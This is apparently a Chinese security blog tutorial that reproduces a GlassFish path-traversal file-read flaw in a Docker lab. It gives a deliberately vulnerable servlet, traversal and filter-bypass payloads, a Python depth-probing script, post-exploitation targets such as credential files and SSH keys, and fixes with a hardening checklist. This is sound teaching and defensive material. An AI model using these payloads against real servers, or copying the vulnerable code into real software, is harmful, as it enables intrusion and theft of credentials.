1. 项目概述:一次典型的应用服务器漏洞分析与复现
最近在安全圈里,一个关于GlassFish应用服务器的任意文件读取漏洞讨论得挺热。对于刚入门安全研究的朋友来说,这类“任意文件读取”漏洞是绝佳的实战切入点。它不像那些复杂的远程代码执行漏洞需要深厚的底层知识,但又能让你完整地走一遍从漏洞预警、环境搭建、原理分析到实际复现的全过程,成就感十足。简单来说,这个漏洞允许攻击者在未经授权的情况下,读取GlassFish服务器上部署的Web应用之外的任意文件,比如系统配置文件、数据库连接字符串,甚至是敏感的系统文件。这听起来可能不如“拿到服务器权限”那么刺激,但在实际渗透测试中,往往是撕开防线、获取关键信息的第一步。今天,我就以一个从业者的视角,带你从零开始,把这个漏洞的来龙去脉、复现手法和防御思路彻底捋清楚,让你不仅会“打”,更懂“为什么能打”以及“怎么防”。
2. 漏洞核心原理与影响范围深度解析
2.1 GlassFish架构与漏洞触发点
要理解这个漏洞,首先得对GlassFish有个基本认识。GlassFish是一个开源的Java EE应用服务器,你可以把它想象成一个大型的、功能齐全的“Java Web应用托管平台”。它内部结构复杂,包含Web容器(处理HTTP请求)、EJB容器(处理业务逻辑)、管理控制台等多个模块。默认情况下,GlassFish会监听多个端口,例如8080用于Web应用,4848用于管理控制台。
这个任意文件读取漏洞,通常不是存在于GlassFish核心代码里,而是出现在其某个功能模块对用户请求的路径处理逻辑中。一个非常典型的场景是 文件下载或静态资源服务功能 。这类功能的本意是让用户能够通过特定的URL路径,访问到Web应用目录(例如 /var/glassfish/domains/domain1/applications/yourapp/ )下的合法文件,比如图片、PDF文档等。
漏洞的根源在于 路径遍历(Path Traversal) 。服务器在处理用户请求的文件路径参数时,没有进行严格的安全校验和过滤。攻击者可以通过构造特殊的请求,在原本合法的文件路径中插入“../”这样的目录跳转符。例如,正常的请求可能是: GET /files/download?name=report.pdf 服务器会去 yourapp 目录下找 report.pdf 。
但如果请求被构造为: GET /files/download?name=../../../etc/passwd 而服务器代码只是简单地将 name 参数的值拼接在基础路径后面,没有检查其中是否包含“../”,那么最终服务器尝试访问的路径就会跳出Web应用目录,指向系统根目录下的 /etc/passwd 文件。如果GlassFish进程(通常以某个有权限的用户身份运行)有读取这个文件的权限,那么文件内容就会被返回给攻击者。
注意 :这里的
/etc/passwd只是一个经典示例,用于验证漏洞是否存在。在实际攻击中,攻击者会尝试读取WEB-INF/web.xml(可能包含数据库配置)、glassfish/domains/domain1/config/domain.xml(GlassFish主配置,含密码)、甚至系统上的SSH私钥等。
2.2 漏洞影响的具体版本与配置
这类漏洞通常不是GlassFish每个版本都有,它往往与某个具体的功能点或组件版本绑定。根据历史漏洞(如CVE-2017-1000028等)的经验,影响范围可能包括:
- 特定版本的GlassFish :例如GlassFish 4.x的某个小版本,或某个内置组件(如REST接口、管理接口)存在缺陷的版本。
- 使用了特定特性的部署 :比如启用了某个文件服务插件、某个RESTful端点,或者管理控制台的某些功能未做访问控制。
- 默认或非安全配置 :管理员未更改默认端口、未设置强密码、未禁用不必要的服务,扩大了攻击面。
对于防御方而言,明确自己使用的GlassFish版本,并关注其安全公告至关重要。对于攻击方或安全研究人员,则需要搭建对应版本的环境进行测试。
2.3 漏洞的潜在危害与攻击链
不要小看任意文件读取。在实战中,它往往是攻击链的起点:
- 信息收集 :读取
web.xml获取数据库连接池配置,可能直接拿到数据库用户名和密码(尤其是弱密码或默认密码)。 - 扩大战果 :读取GlassFish的
domain.xml,里面可能以明文或加密形式存储着其他服务的凭证。 - 寻找突破口 :读取应用源码(
.java或.class文件),通过代码审计发现更严重的逻辑漏洞或反序列化点。 - 组合利用 :结合其他漏洞,如通过读取到的配置文件信息,进行数据库攻击或横向移动。
因此,修复任意文件读取漏洞,不仅仅是堵上一个“小洞”,而是切断了一条潜在的攻击路径。
3. 从零搭建漏洞复现环境
3.1 环境准备与工具选型
要复现漏洞,首先需要一个“靶场”。我们不建议在任何生产或公共网络环境进行测试。最佳实践是在本地搭建一个完全隔离的测试环境。
1. 虚拟化环境选择:
- VirtualBox / VMware :免费且强大,适合在个人电脑上创建完整的虚拟机。
- Docker :更轻量、更快捷。如果你对Docker熟悉,这是首选。我们可以快速拉取特定版本的GlassFish镜像,复现完毕后一键销毁,不留痕迹。
- 本次演示,我将选择 Docker方案 ,因为它能最快速地还原漏洞环境。
2. 靶机系统与软件:
- 操作系统 :一个干净的Linux环境,如Ubuntu 20.04 LTS。Docker镜像会包含它。
- 漏洞版本GlassFish :我们需要找到包含漏洞的特定GlassFish版本。例如,我们可以使用一个已知存在历史漏洞的旧版本,如
glassfish:4.1.1。 - 攻击机工具 :你的本地物理机或另一个虚拟机。需要安装:
- 浏览器 :用于手动测试和访问管理界面。
- Burp Suite / OWASP ZAP :代理工具,用于拦截、查看和重放HTTP请求,是构造攻击Payload的利器。
- cURL / Postman :命令行或图形化工具,用于发送精确的HTTP请求。
- 文本编辑器 :用于查看和分析读取到的文件内容。
3.2 使用Docker快速部署漏洞环境
假设你的攻击机(比如你的Mac或Windows电脑)已经安装了Docker Desktop。我们打开终端,执行以下命令:
# 1. 拉取一个旧版本的GlassFish镜像(这里以4.1.1为例,仅用于教学复现)
docker pull owasp/webgoat:glassfish-4.1.1
# 注意:并非所有旧镜像都直接可用。如果找不到,我们可以从Dockerfile构建。
# 这里假设我们找到了一个可用的测试镜像。如果没有,方案二是手动安装。
# 方案二:手动构建(如果找不到现成镜像)
# 创建一个目录,下载GlassFish 4.1.1的安装包
mkdir glassfish-test && cd glassfish-test
wget https://download.oracle.com/glassfish/4.1.1/release/glassfish-4.1.1.zip
unzip glassfish-4.1.1.zip
# 编写一个简单的Dockerfile
cat > Dockerfile <<EOF
FROM openjdk:8-jdk
COPY glassfish4 /glassfish4
EXPOSE 8080 4848
WORKDIR /glassfish4
CMD ["bin/asadmin", "start-domain", "-v"]
EOF
# 构建镜像
docker build -t my-glassfish:4.1.1 .
# 2. 运行GlassFish容器
# 将容器的8080(应用端口)和4848(管理端口)映射到本机
docker run -d -p 8080:8080 -p 4848:4848 --name glassfish-vuln my-glassfish:4.1.1
# 或者使用拉取的现成镜像
# docker run -d -p 8080:8080 -p 4848:4848 --name glassfish-vuln owasp/webgoat:glassfish-4.1.1
# 3. 检查容器是否运行
docker ps | grep glassfish
等待几十秒后,在浏览器访问 http://localhost:8080 ,你应该能看到GlassFish的默认欢迎页面。访问 http://localhost:4848 可以看到管理控制台登录界面(默认用户名 admin ,密码在初次启动时需要设置,很多测试镜像默认密码为空或 admin )。环境就绪。
实操心得 :使用Docker时,务必记住映射的端口号。如果8080端口被占用,可以改为
-p 8888:8080,那么访问地址就是http://localhost:8888。-d参数表示后台运行。测试结束后,记得用docker stop glassfish-vuln和docker rm glassfish-vuln清理容器,避免占用资源。
3.3 部署一个存在漏洞的示例应用
光有GlassFish还不够,我们需要一个存在缺陷的Web应用来演示。我们来快速创建一个最简单的Java Web应用(Servlet)。
1. 创建项目结构: 在你的攻击机上,创建一个目录 vuln-app ,并建立如下标准的Java Web应用结构:
vuln-app/
├── WEB-INF
│ ├── web.xml
│ └── classes
│ └── com
│ └── test
│ └── FileDownloadServlet.java
└── index.html
2. 编写存在漏洞的Servlet ( FileDownloadServlet.java ):
package com.test;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
public class FileDownloadServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 漏洞点:直接获取用户输入的filename参数,未做任何过滤
String filename = request.getParameter("filename");
if (filename == null || filename.isEmpty()) {
response.getWriter().write("Please specify a filename.");
return;
}
// 基础路径设为Web应用的根目录(错误示范)
String basePath = getServletContext().getRealPath("/");
// 危险操作:直接拼接用户输入,形成完整路径
File file = new File(basePath + filename);
if (file.exists() && !file.isDirectory()) {
// 设置响应头,告诉浏览器这是一个文件下载
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\"");
// 读取文件并写入响应流
try (InputStream in = new FileInputStream(file);
OutputStream out = response.getOutputStream()) {
byte[] buffer = new byte[4096];
int length;
while ((length = in.read(buffer)) > 0) {
out.write(buffer, 0, length);
}
}
} else {
response.getWriter().write("File not found: " + file.getAbsolutePath());
}
}
}
这个Servlet的 doGet 方法直接从请求参数 filename 获取值,并直接与 basePath 拼接。这就是典型的路径遍历漏洞代码。
3. 配置部署描述符 ( web.xml ):
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet>
<servlet-name>FileDownloadServlet</servlet-name>
<servlet-class>com.test.FileDownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FileDownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
</web-app>
4. 编译和部署:
# 进入项目目录
cd vuln-app
# 编译Servlet(需要servlet-api.jar,可以从GlassFish的lib目录复制,或使用Maven)
javac -cp "/path/to/glassfish4/glassfish/modules/javax.servlet-api.jar" WEB-INF/classes/com/test/FileDownloadServlet.java
# 将整个应用打包成WAR文件
jar -cvf vuln-app.war *
# 将WAR文件部署到正在运行的GlassFish容器中
# 首先复制到容器内
docker cp vuln-app.war glassfish-vuln:/glassfish4/glassfish/domains/domain1/autodeploy/
# GlassFish会自动热部署autodeploy目录下的WAR包
稍等片刻,访问 http://localhost:8080/vuln-app/download ,你应该能看到 Please specify a filename. 的提示,说明应用部署成功。
4. 漏洞复现实操与利用过程
4.1 手动探测与验证漏洞
现在,我们的靶场(GlassFish 4.1.1 + 漏洞应用)和攻击机都已就位。开始复现。
1. 正常功能测试: 首先,我们在 vuln-app 目录下创建一个正常的测试文件。
echo "This is a normal test file." > vuln-app/normal.txt
# 重新打包并部署(或直接放到已解压的目录,但WAR包需要重打)
jar -cvf vuln-app.war *
docker cp vuln-app.war glassfish-vuln:/glassfish4/glassfish/domains/domain1/autodeploy/
访问: http://localhost:8080/vuln-app/download?filename=normal.txt 浏览器应该会下载一个包含“This is a normal test file.”的 normal.txt 文件。这说明下载功能基本正常。
2. 路径遍历测试: 关键步骤来了。我们尝试读取Web应用目录之外的文件。在Linux系统中,一个经典的测试目标是 /etc/passwd 。 构造请求: http://localhost:8080/vuln-app/download?filename=../../../etc/passwd
这里需要理解路径的跳转逻辑:
- 假设GlassFish将我们的应用
vuln-app解压到了/glassfish4/glassfish/domains/domain1/applications/vuln-app/。 -
getServletContext().getRealPath("/")返回的basePath可能就是上述路径。 - 拼接用户输入的
../../../etc/passwd后,形成的完整路径是:/glassfish4/glassfish/domains/domain1/applications/vuln-app/../../../etc/passwd - 路径中的
vuln-app/../回退到applications目录,applications/../回退到domain1目录,domain1/../回退到domains目录。最终等效于:/glassfish4/glassfish/domains/etc/passwd - 这显然不是我们想要的系统
/etc/passwd。因为我们的基础路径还没到系统根目录。我们需要更多的../。
3. 计算正确的路径深度: 我们需要知道从应用根目录到系统根目录需要多少层 ../ 。这需要一点猜测和测试。我们可以先尝试多一点。 构造请求: http://localhost:8080/vuln-app/download?filename=../../../../../../../../etc/passwd 通常,6到8个 ../ 足以从任何应用目录跳转到根目录。发送这个请求。
4. 使用工具辅助测试: 手动在浏览器地址栏输入很麻烦,且不方便观察响应。我们使用cURL:
curl -v "http://localhost:8080/vuln-app/download?filename=../../../../../../../../etc/passwd"
或者使用Burp Suite:
- 配置浏览器代理到Burp。
- 在浏览器中访问一次正常的下载链接。
- 在Burp的Proxy -> HTTP history中找到这个请求。
- 右键选择“Send to Repeater”。
- 在Repeater标签页中,修改
filename参数为../../../../../../../../etc/passwd,点击Send。
5. 分析结果: 如果漏洞存在,并且路径跳转正确,你将在响应体中看到 /etc/passwd 文件的内容(一堆用户信息行)。如果返回“File not found”,可能是 ../ 数量不够(或太多,跳过了根目录),也可能是目标文件不存在,或者服务器端做了某种基础过滤(比如过滤了 ../ )。
实操心得 :在测试路径遍历时, 编码技巧 非常有用。服务器可能会解码URL。你可以尝试对
../进行URL编码:
.编码为%2e/编码为%2f../编码为%2e%2e%2f或双重编码%252e%252e%252f在Burp Repeater中,你可以直接输入../../../,Burp在发送时会自动编码。也可以手动在filename参数里输入%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd进行测试。有时,服务器只过滤了../但没过滤编码后的形式。
4.2 自动化探测与利用脚本编写
手动测试适合理解原理,但效率低。我们可以写一个简单的Python脚本来批量探测和利用。
#!/usr/bin/env python3
import requests
import sys
def test_path_traversal(url, filename, depths=10):
"""
测试指定URL是否存在路径遍历漏洞。
:param url: 存在漏洞的端点,例如 http://target:8080/app/download
:param filename: 想读取的目标文件,例如 etc/passwd
:param depths: 尝试的../层数,从1到depths
"""
for i in range(1, depths + 1):
payload = "../" * i + filename
params = {'filename': payload}
try:
resp = requests.get(url, params=params, timeout=5)
# 判断响应:如果文件存在且可读,响应内容通常不是错误信息,且长度可能大于0
# 这里可以根据实际情况调整判断逻辑,比如检查状态码、响应头、内容中是否包含特定字符串
if resp.status_code == 200 and len(resp.content) > 100:
# 简单判断:如果返回内容包含‘root:’(passwd文件特征),则认为成功
if b'root:' in resp.content:
print(f"[SUCCESS] Depth {i}: Successfully read file with payload '{payload}'")
print(resp.text[:500]) # 打印前500字符
return True
# 也可以检查是否为下载头
if 'application/octet-stream' in resp.headers.get('Content-Type', ''):
print(f"[POSSIBLE] Depth {i}: Got file download response with payload '{payload}'")
# 保存文件
with open(f"output_depth_{i}.bin", 'wb') as f:
f.write(resp.content)
print(f"File saved as output_depth_{i}.bin")
else:
print(f"[TRY] Depth {i}: Payload '{payload}' -> Status {resp.status_code}, Length {len(resp.content)}")
except requests.exceptions.RequestException as e:
print(f"[ERROR] Depth {i}: Request failed - {e}")
print("[INFO] Test finished, no obvious success.")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <target_file>")
print(f"Example: {sys.argv[0]} http://localhost:8080/vuln-app/download etc/passwd")
sys.exit(1)
target_url = sys.argv[1]
target_file = sys.argv[2]
test_path_traversal(target_url, target_file, depths=12)
这个脚本会尝试从1层到12层 ../ ,然后拼接目标文件名去请求。它通过检查响应中是否包含 root: ( /etc/passwd 的特征)来判断是否成功。你可以根据实际情况调整判断逻辑,比如检查响应头 Content-Type 是否为 application/octet-stream ,或者检查响应内容是否包含预期的文件片段。
运行脚本:
python3 path_traversal.py http://localhost:8080/vuln-app/download etc/passwd
4.3 漏洞利用的进阶思路
成功读取 /etc/passwd 只是第一步。一个真正的安全测试或渗透测试,目标是获取更有价值的信息。
-
读取Web应用配置文件 :
-
WEB-INF/web.xml: 这是Java Web应用的核心配置。虽然我们通过../可能无法直接访问到WEB-INF(因为它在应用目录内,但通常被服务器保护),但有时应用会把配置文件放在其他地方,或者通过其他漏洞点读取。 - 尝试Payload :
../../WEB-INF/web.xml(可能需要更多../先跳出当前上下文)。如果应用有上传功能,上传的文件可能被放在某个已知路径,通过遍历可以读取其他用户的文件。
-
-
读取GlassFish服务器配置文件 :
-
domain.xml: 位于GlassFish域配置目录,通常路径如/glassfish4/glassfish/domains/domain1/config/domain.xml。这个文件包含数据源(数据库)配置、JMS配置、安全设置等,其中可能有明文或加密的密码。 - 尝试Payload :
../../../../domains/domain1/config/domain.xml(具体深度需要根据实际部署调整)。
-
-
读取系统敏感文件 :
-
/etc/shadow: 存储用户哈希密码的文件(需要root权限,GlassFish通常不以root运行,可能读不到)。 -
~/.ssh/id_rsa: 如果服务器上某用户(如运行GlassFish的用户)有SSH私钥,读取它可能允许SSH登录。 -
数据库配置文件: 如/opt/myapp/db.properties,里面可能有数据库IP、端口、用户名、密码。 - 思路 : 结合信息收集。先读取
/proc/self/environ(Linux)获取环境变量,可能发现路径信息。或者读取/etc/hosts了解网络结构。
-
-
利用漏洞进行目录枚举 : 如果服务器在文件不存在时返回不同的错误信息(如404 Not Found 和 403 Forbidden),我们可以利用这个差异来探测目录和文件是否存在。例如,尝试读取
../../../../etc/,如果返回403(禁止访问目录),而读取一个不存在的文件返回404,那么我们就知道/etc/目录是存在的。
5. 漏洞根因分析与安全修复方案
5.1 代码层面:为什么会产生这个漏洞?
回顾我们写的漏洞Servlet,核心问题出在这一行:
String basePath = getServletContext().getRealPath("/");
File file = new File(basePath + filename); // 直接拼接!
根本原因 :
- 未验证用户输入 :直接将用户控制的
filename参数拼接到文件路径中。 - 未进行规范化(Canonicalization)和过滤 :没有对拼接后的完整路径进行规范化处理(消除
./和../),并检查最终路径是否仍在预期的安全目录(Web应用根目录)之下。
安全的代码应该怎么做?
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String filename = request.getParameter("filename");
// 1. 基础校验:非空、合法字符(白名单)
if (filename == null || !filename.matches("[a-zA-Z0-9_\\-]+\\.(txt|pdf|jpg)")) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid filename");
return;
}
// 2. 定义安全的基准目录
String safeBaseDir = getServletContext().getRealPath("/uploads/"); // 假设文件都放在uploads子目录下
// 3. 构造完整路径
File file = new File(safeBaseDir, filename); // 使用File(File parent, String child)构造器更安全
// 4. 关键步骤:获取规范化路径,并检查是否逃逸出安全目录
String canonicalFilePath = file.getCanonicalPath();
String canonicalBaseDir = new File(safeBaseDir).getCanonicalPath();
if (!canonicalFilePath.startsWith(canonicalBaseDir + File.separator)) {
// 路径遍历攻击!路径已经跳出安全目录
response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access denied");
return;
}
// 5. 安全检查通过,执行文件下载操作
// ... (后续下载代码)
}
关键安全函数解释 :
-
file.getCanonicalPath(): 这个方法返回文件的 规范路径 。它会解析路径中的.和..,移除多余的斜杠,并解析符号链接(如果有),返回一个唯一的、绝对的标准路径。例如,/app/uploads/../etc/passwd会被规范化为/app/etc/passwd。 -
startsWith()检查: 比较规范化后的文件路径是否以安全目录的规范化路径开头。File.separator是系统相关的路径分隔符(Linux是/,Windows是\),确保检查的严谨性。
5.2 修复方案:从开发到运维的全面防御
对于开发者:
- 输入验证(白名单原则) :对用户提供的文件名进行严格的白名单验证,只允许字母、数字、短横线、下划线和指定的扩展名。拒绝任何包含
../、..\、/、\等路径分隔符的输入。 - 使用安全的API :不要直接拼接路径。使用
java.nio.file.Path和java.nio.file.Paths类,它们提供了更安全的路径解析方法。Path safeBase = Paths.get(getServletContext().getRealPath("/uploads")); Path userPath = Paths.get(filename); Path resolvedPath = safeBase.resolve(userPath).normalize(); // normalize()会处理`..` if (!resolvedPath.startsWith(safeBase)) { // 路径遍历,拒绝 } - 文件映射 :不直接暴露文件系统路径。可以使用一个唯一的文件ID(如UUID)来映射真实文件,下载时通过ID查找真实路径。
- 最小权限原则 :运行GlassFish或应用服务器的操作系统用户,应该只拥有其必要的最小权限。不要以
root身份运行。这样即使被读取文件,危害也有限。
对于运维与架构师:
- 及时更新与打补丁 :关注GlassFish官方安全公告,及时将应用服务器升级到已修复漏洞的最新版本。对于已知的CVE漏洞,务必评估影响并安排修复。
- 部署Web应用防火墙(WAF) :在GlassFish前端部署WAF(如ModSecurity),可以配置规则拦截包含
../、..\、etc/passwd等特征的恶意请求。 - 网络隔离与访问控制 :
- 将GlassFish管理控制台(4848端口)限制在内部管理网络访问,切勿暴露在公网。
- 使用防火墙策略,只允许必要的端口(如80/443)对外提供服务。
- 考虑将应用服务器部署在DMZ区域,并与后端数据库、内部网络进行隔离。
- 安全配置 :
- 修改GlassFish的默认端口和管理员默认密码。
- 禁用不必要的服务和功能模块。
- 定期审查服务器上的文件权限,确保敏感文件(如配置文件、日志、密钥)的访问权限仅限于必要用户。
5.3 针对“hikvision综合安防管理平台files任意文件读取漏洞”的关联思考
网络热词中提到了另一个产品的类似漏洞。这说明了 任意文件读取漏洞的普遍性 。不同产品、不同语言(Java, PHP, Python, .NET等)都可能因为相同的错误—— 未安全地处理用户提供的文件路径 ——而中招。
分析这类漏洞的复现过程,方法论是相通的:
- 信息收集 :发现目标系统使用了某产品(如海康威视平台)。
- 资产发现 :通过扫描或公开信息,找到可能存在漏洞的功能端点(如
/files/download、/api/getFile等)。 - 漏洞探测 :使用路径遍历Payload(
../、编码变形)进行测试。 - 漏洞利用 :尝试读取系统文件、配置文件、源码等。
- 影响评估 :根据读取到的信息,评估进一步渗透的可能性。
作为防御方,无论使用什么产品,都应遵循上述安全开发规范和安全部署实践。作为安全研究人员,掌握了对一个产品的漏洞分析方法,可以快速迁移到其他产品上。
6. 防御绕过技巧与高级利用场景
6.1 常见的过滤绕过手法
在实际渗透测试中,开发人员可能已经意识到路径遍历风险并实施了一些过滤,但这些过滤往往可以被绕过。
-
字符串替换过滤 :
- 场景 :代码中使用了
filename.replace(“../”, “”)或filename.replaceAll(“\\.\\./”, “”)。 - 绕过 :使用双写
....//。过滤一次后,中间的../被移除,剩下的../又组合在一起。- 原始Payload:
....//....//....//etc/passwd - 过滤后:
../../../etc/passwd
- 原始Payload:
- Payload示例 :
filename=....//....//....//etc/passwd
- 场景 :代码中使用了
-
编码绕过 :
- URL编码 :
../->%2e%2e%2f或%252e%252e%252f(双重编码)。 - Unicode编码 :在某些解析场景下可能有效。
- UTF-8编码 :
../->..%c0%af(过时,现代服务器很少有效)。 - Payload示例 :
filename=%2e%2e%2f%2e%2e%2fetc%2fpasswd
- URL编码 :
-
绝对路径绕过 :
- 场景 :如果服务器代码是
new File(basePath + filename),且basePath为空或可被覆盖。 - 绕过 :直接使用绝对路径。例如,如果参数
filename被直接用作路径,且没有添加前缀,那么filename=/etc/passwd可能直接生效。 - Payload示例 :
filename=/etc/passwd或filename=C:\Windows\System32\drivers\etc\hosts(Windows)。
- 场景 :如果服务器代码是
-
空字节截断(已过时,但在极老系统可能遇到) :
- 场景 :在PHP等语言中,
include($filename . ‘.php’),如果filename用户可控,传入../../../etc/passwd%00,%00是空字节,会导致字符串在空字节处截断,最终加载../../../etc/passwd。 - 注意 :Java中
File类对空字节的处理因版本而异,现代Java版本已修复,但作为一种历史技巧需要了解。
- 场景 :在PHP等语言中,
6.2 从文件读取到代码执行
任意文件读取本身可能无法直接执行命令,但它可以为其他攻击铺平道路,形成组合拳。
-
读取源码,发现新漏洞 :通过读取
WEB-INF/classes目录下的.class文件(需反编译),或.jsp文件,进行代码审计。可能会发现:- 反序列化漏洞点 :找到接收序列化数据的接口。
- 命令注入点 :找到调用
Runtime.exec()或ProcessBuilder的地方,且参数用户部分可控。 - SQL注入点 :发现拼接SQL语句的代码。
- 逻辑漏洞 :如越权访问、密码重置缺陷等。
-
读取配置文件,获取凭证 :
- 读取
domain.xml,找到数据库连接池的<jdbc-connection-pool>配置,获取明文或加密的数据库密码。如果密码是加密的,GlassFish有默认的加密密钥,可能被破解。 - 获取数据库密码后,可能直接连接数据库,执行任意SQL,甚至通过数据库特性(如MySQL的
INTO OUTFILE)写Webshell。
- 读取
-
读取特定文件,辅助其他攻击 :
- 读取
/proc/self/environ(Linux)获取环境变量,可能发现密钥、路径或其他敏感信息。 - 读取
/etc/hosts了解内网结构。 - 读取Web服务器(如Apache/Nginx)的配置文件,发现其他虚拟主机或敏感路径。
- 读取
6.3 漏洞挖掘的思路延伸
对于安全研究人员,发现一个这样的漏洞后,不应止步于此。
- 同源代码审计 :如果GlassFish的某个组件存在漏洞,可以尝试下载其源码,全局搜索处理文件路径的函数(如
File,getRealPath,resolve,normalize),看是否有其他类似的问题。 - 补丁对比 :关注官方发布的安全更新。通过对比修复前后的代码差异(diff),可以精准定位漏洞点,并学习官方的修复方式,这种模式可以用于挖掘同一产品的其他未公开漏洞。
- 模糊测试(Fuzzing) :针对文件下载接口,使用包含各种路径遍历Payload的字典进行自动化测试,以发现潜在的过滤不严问题。
- 权限提升思考 :即使以低权限用户读取文件,是否有可能读到包含高权限用户密码哈希的文件?是否有可能读到计划任务(crontab)文件,从而写入一个反弹shell任务?思路要打开。
7. 实战排查与防御加固检查清单
7.1 攻击方:漏洞排查与利用清单
当你怀疑一个目标存在任意文件读取漏洞时,可以按此清单操作:
| 步骤 | 操作 | 目的/工具 | 备注 |
|---|---|---|---|
| 1. 信息收集 | 识别目标技术栈(GlassFish版本?) | Wappalyzer, WhatWeb, 响应头 | 确认是否为受影响版本。 |
| 2. 功能发现 | 寻找文件下载、查看、预览等功能点 | 爬虫(如Burp Spider)、目录扫描(如Dirb)、观察URL模式 | 关注 /download , /file , /view , /static?path= 等参数。 |
| 3. 初步探测 | 使用简单 ../ 测试 | 浏览器、cURL、Burp Repeater | 测试 filename=../../../etc/passwd 。 |
| 4. 绕过尝试 | 尝试编码、双重编码、空字节、绝对路径等 | Burp Intruder、自定义脚本 | 如果初步探测失败,尝试绕过过滤。 |
| 5. 深度利用 | 读取配置文件、源码等 | 根据目标系统猜测路径 | Linux: /etc/passwd , /proc/self/environ , 应用配置文件。 Windows: C:\Windows\System32\drivers\etc\hosts 。 |
| 6. 信息分析 | 分析读取到的内容 | 文本编辑器、正则表达式 | 寻找密码、密钥、内网IP、其他漏洞线索。 |
| 7. 扩大战果 | 结合其他漏洞 | 根据发现的信息 | 如用数据库密码连接数据库,用源码发现新漏洞点。 |
7.2 防御方:安全加固与自查清单
作为系统管理员或开发者,请定期对照此清单检查你的GlassFish服务器:
| 类别 | 检查项 | 安全操作 | 说明 |
|---|---|---|---|
| 服务器层面 | 1. GlassFish版本 | 升级到官方支持的最新稳定版。 | 关注 GlassFish安全公告 。 |
| 2. 运行权限 | 使用专用、低权限用户运行GlassFish。 | 禁止以 root 或 administrator 身份运行。 | |
| 3. 网络暴露 | 防火墙限制,仅开放必要端口(如80/443)。管理控制台(4848)禁止公网访问。 | 最小化攻击面。 | |
| 4. 文件系统权限 | 检查GlassFish安装目录、域目录、日志目录的权限,确保仅运行用户有最小必要权限。 | 防止通过漏洞读取或写入关键文件。 | |
| 应用层面 | 5. 输入验证 | 所有用户输入(特别是文件路径、文件名)必须进行白名单验证。 | 拒绝包含 .. 、 / 、 \ 等字符的输入。 |
| 6. 路径安全 | 使用 Path.normalize() 和 startsWith() 检查规范化后的路径是否在安全目录内。 | 核心修复点 。 | |
| 7. 错误信息 | 自定义错误页面,避免在错误响应中泄露服务器内部路径信息。 | 防止信息泄露辅助攻击。 | |
| 8. 安全依赖 | 定期更新项目中使用第三方库,避免已知漏洞。 | 使用Maven/Gradle依赖检查工具。 | |
| 监控与响应 | 9. 日志审计 | 开启并定期审查GlassFish访问日志和服务器日志,监控异常的路径访问请求(大量 ../ )。 | 使用ELK、Splunk等工具进行日志分析。 |
| 10. WAF/IDS | 部署WAF或IDS,配置规则拦截路径遍历攻击特征。 | 作为纵深防御的一环。 |
7.3 个人经验与避坑指南
在多年的安全研究和应急响应中,我见过太多因为路径遍历漏洞导致的严重安全事件。以下几点心得,或许能帮你少走弯路:
- 不要相信任何用户输入 :这是安全开发的铁律。对于文件路径、文件名,白名单永远比黑名单可靠。定义一个允许的字符集(如
[a-zA-Z0-9._-])和文件扩展名列表。 - “规范化”是关键中的关键 :
getCanonicalPath()或Path.normalize()是防御路径遍历的利器,但一定要在规范化 之后 再进行目录逃逸检查。先检查再规范化,或者不规范化,都是无效的。 - 测试要覆盖边缘情况 :开发完文件下载功能后,自己要用各种Payload测试:
../、..\、编码形式、绝对路径、空字节(历史)、超长路径等。可以考虑将安全测试用例纳入单元测试。 - 默认配置即危险 :GlassFish、Tomcat等应用服务器的默认安装往往为了方便而牺牲安全。生产环境一定要修改默认密码、关闭不必要的服务、调整文件权限。
- 漏洞修复后要回归测试 :修复漏洞后,不仅要验证漏洞本身是否被堵上,还要确保正常功能不受影响。同时,检查是否有其他类似功能的代码存在同样问题。
- 保持警惕,持续学习 :安全攻防是动态的。今天有效的过滤,明天可能就被新的绕过手法突破。关注安全社区,了解最新的攻击技术和防御方案。
漏洞复现的目的不是为了攻击,而是为了更深刻地理解漏洞原理,从而更好地防御。通过亲手搭建环境、分析代码、构造Payload、实现修复,你对这类漏洞的认识会远超仅仅阅读一份漏洞公告。希望这篇长文能为你打开Web应用安全研究的大门,养成严谨的安全开发习惯和敏锐的安全运维嗅觉。

920

被折叠的 条评论
为什么被折叠?



